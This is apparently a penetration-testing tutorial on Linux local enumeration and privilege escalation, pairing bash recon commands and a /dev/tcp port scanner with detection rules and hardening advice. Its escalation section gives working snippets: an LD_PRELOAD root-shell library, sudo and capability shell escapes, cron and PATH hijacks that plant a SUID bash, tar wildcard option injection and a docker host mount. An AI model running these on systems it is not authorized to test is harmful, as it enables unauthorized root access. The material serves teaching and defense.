
Living off the land on Linux: local enumeration for privilege escalation
You landed a shell on a Linux host as some unprivileged service or user. Before reaching for a toolkit, remember that the box already carries almost everything you need: bash, coreutils, /proc, and the standard admin binaries. Living off the land means enumerating with those alone. It is quieter than dropping tooling, it works when egress or a read-only filesystem stops you from downloading anything, and it is exactly what a defender should be able to see. Everything here is read-only reconnaissance whose purpose is to find the path up; the exploitation step for a given finding lives in references like GTFOBins, not in this post.
Know where you stand
id; whoami; hostname
uname -a; cat /etc/os-release
echo "$PATH"; echo "$SHELL"
Your user, your groups, the kernel and distribution (which bounds kernel-exploit options), and your PATH (which hints at hijack opportunities) frame everything that follows.
A port scanner in bash
No nmap on the box? Bash speaks TCP through /dev/tcp, so a connect scan needs nothing extra:
# Scan localhost ports 1-1024
for p in $(seq 1 1024); do
(echo >/dev/tcp/127.0.0.1/"$p") 2>/dev/null && echo "open: $p"
done
# Check one host:port
timeout 1 bash -c 'echo >/dev/tcp/10.0.0.5/22' 2>/dev/null && echo open || echo closed
# Sweep a small range for a live service
for h in $(seq 1 254); do
(echo >/dev/tcp/10.0.0.$h/445) 2>/dev/null && echo "10.0.0.$h:445 open"
done
This finds services bound to loopback that are invisible from the network, which are often the most interesting, and it maps reachable neighbors for a pivot. It is also loud: a shell opening hundreds of connections in a burst is a strong signal (see Detection).
Network enumeration
ip -4 addr; ip route # interfaces and routes, your pivot map
ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null # listening sockets and owning PIDs
cat /proc/net/tcp 2>/dev/null # sockets even without ss/netstat (hex-encoded)
cat /etc/hosts /etc/resolv.conf # name resolution and hardcoded hosts
ip neigh # ARP cache, recently seen neighbors
Listening sockets tell you what runs locally and under which PID; routes and the ARP cache tell you what else is reachable from here.
User enumeration
cat /etc/passwd | awk -F: '$3>=1000 || $1=="root"{print}' # real users and root
getent group | grep -vE ':$' # groups and members
sudo -n -l 2>/dev/null # what you may run via sudo
w; who; last -n 20 # who is on, who was on
ls -la /home/*/ ~/.ssh 2>/dev/null # readable homes, keys
find / -name "*.bak" -o -name "id_rsa" 2>/dev/null # stray keys and backups
The questions are: which accounts have real shells, which group memberships are powerful (docker, lxd, disk, sudo, adm), what you are allowed to run as another user, and whether anyone left a key or backup readable.
The privilege-escalation surface
This is enumeration, not exploitation: each check surfaces a path, and the actual technique for turning a given finding into root is catalogued at GTFOBins and the usual references.
# SUID / SGID binaries: a non-standard entry is often the whole game
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# File capabilities (cap_setuid on a binary is as good as SUID)
getcap -r / 2>/dev/null
# sudo rights, already gathered above with: sudo -n -l
# Scheduled jobs, and whether any script they run is writable by you
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/null
# Writable entries on PATH, world-writable files, a writable passwd
echo "$PATH" | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "writable PATH dir: $d"; done
find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'
ls -la /etc/passwd /etc/shadow 2>/dev/null
# Root-owned processes and services you might influence
ps -eo user,pid,cmd | awk '$1=="root"'
systemctl list-units --type=service --state=running 2>/dev/null
# NFS exports with no_root_squash, container escapes
cat /etc/exports 2>/dev/null
id | grep -qE 'docker|lxd' && echo "container group membership: likely root-equivalent"
Read each result for the privilege boundary it crosses: a SUID binary that is not on the distro's standard list, a capability like cap_setuid on an ordinary program, a cron job that runs a script you can edit, a writable directory ahead of the real one on PATH, a world-writable /etc/passwd, or membership in a group that is root-equivalent. Any one of those is usually the escalation; the reference tells you how.
From a finding to root: small tricks
Each of these needs a specific finding from the section above. None is new, but they are the ones people skim past, and any one can be the short hop from user to root. For a defender the fix lines are the point: close the misconfiguration and the trick evaporates.
sudo keeps LD_PRELOAD. sudo -l shows env_keep += LD_PRELOAD. A shared object that runs on load, preloaded into any allowed command, runs as root:
// evil.c gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.c
#include <stdlib.h>
void _init(){ setuid(0); system("/bin/bash -p"); }
sudo LD_PRELOAD=/tmp/evil.so <any-allowed-command>
Detect: sudo invoked with LD_* in its environment, or a root process mapping a .so out of /tmp (/proc/<pid>/maps, auditd). Fix: remove LD_PRELOAD and LD_LIBRARY_PATH from env_keep.
sudo on a GTFOBins binary. sudo -l allows an interpreter, pager, or editor with a known escape:
sudo awk 'BEGIN{system("/bin/sh")}' # also vi, less, find -exec, env, man, ...
Detect: a sudo child that is a shell. Fix: never grant sudo on interpreters, pagers, or editors; keep commands narrow and absolute.
Writable root cron (or its script). A job runs as root and you can edit the script or its directory:
echo 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb' >> /path/root-cron.sh
# after it runs:
/tmp/rb -p
Detect: modification of cron scripts, a SUID bash appearing, a root cron spawning cp/chmod. Fix: root-owned, non-writable cron scripts; watch /etc/cron*.
PATH hijack on a root job. A root cron or script calls a command by bare name (tar, backup) and you control an earlier PATH entry:
printf '#!/bin/sh\ncp /bin/bash /tmp/rb; chmod 4755 /tmp/rb\n' > /writable-dir/tar
chmod +x /writable-dir/tar
Detect: an unexpected executable in a PATH directory, root running a binary from an odd location. Fix: absolute paths in root scripts; no writable PATH directories.
File capability cap_setuid. getcap -r / shows it on, say, a Python build:
/path/python -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
Detect: a getcap baseline, and a capability-bearing program spawning a shell. Fix: strip capabilities that are not required, never on interpreters.
tar wildcard injection. A root cron runs tar czf out.tar * in a directory you can write:
cd /writable-dir
echo 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb' > x.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh x.sh' # tar reads the filenames as options
Detect: files named like options, tar spawning sh. Fix: never glob an untrusted directory in a root job; pass explicit paths or --.
Writable systemd unit or timer. A .service ExecStart target or unit file is writable and runs as root. Point ExecStart at your command, then trigger the unit or wait for the timer. Detect: unit-file changes, systemd launching an unexpected ExecStart. Fix: root-owned units, no user-writable ExecStart binaries.
docker or lxd group. Membership is root-equivalent through the daemon:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh # host filesystem as root
Detect: a non-admin invoking docker/lxc, a container mounting host root. Fix: treat these groups as administrator, do not hand them out.
Kernel and known CVEs. When the misconfigurations are clean, the kernel version from uname -r is the last resort: the pwnkit (CVE-2021-4034), dirtypipe (CVE-2022-0847), and similar local-root classes target specific version ranges. This post does not carry exploit code for them; identify the version, check whether a maintained public exploit matches, and detect the attempt by watching for the exploit's known artifacts (for pwnkit, pkexec crashing or spawning a root shell) and by patching so the range no longer applies.
Detection
This activity is read-only, but it is not quiet. The signal is a burst of reconnaissance from one shell in a short window.
-
auditd on the recon binaries. Log executions of the tools this enumeration leans on and reads of the sensitive files:
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/find -k recon -a always,exit -F arch=b64 -S execve -F exe=/usr/sbin/getcap -k recon -w /etc/shadow -p r -k shadow_read -w /etc/exports -p r -k exports_readA single user firing
find,getcap,sudo -l,ss, and reads of/etc/passwdwithin seconds is the enumeration pattern, not normal use. -
The bash port scanner. A shell opening many short-lived TCP connections to sequential ports, especially to loopback or across a subnet, stands out in connection telemetry and in
/procsocket churn. A/dev/tcploop also shows up as the shell process itself holding the connections, with no scanner binary involved. -
Shell history and process ancestry. A web or application service account whose shell suddenly runs interactive recon, with a process tree rooted in that service, is high-signal regardless of the individual commands.
Hardening, briefly
Least privilege for service accounts, remove SUID from anything that does not need it and audit the rest against a baseline, keep sudo rules tight and specific, patch the kernel so version-based exploits close, and keep auditd on with rules like the above so the enumeration burst is recorded. The point is not to stop a legitimate operator from reading the system; it is to make the recon burst visible and to shrink what any single finding can escalate to.
If the shell is inside a container, Linux container escapes continues from the docker/lxd group and host-mount findings here. The Windows counterpart to this post is Windows local privilege escalation.
Use
Authorized and educational use only: your own systems, a lab you control, or an engagement with written permission. These are read-only enumeration commands meant to map a host you are authorized to assess and to show defenders what that mapping looks like, not to act against systems you do not own.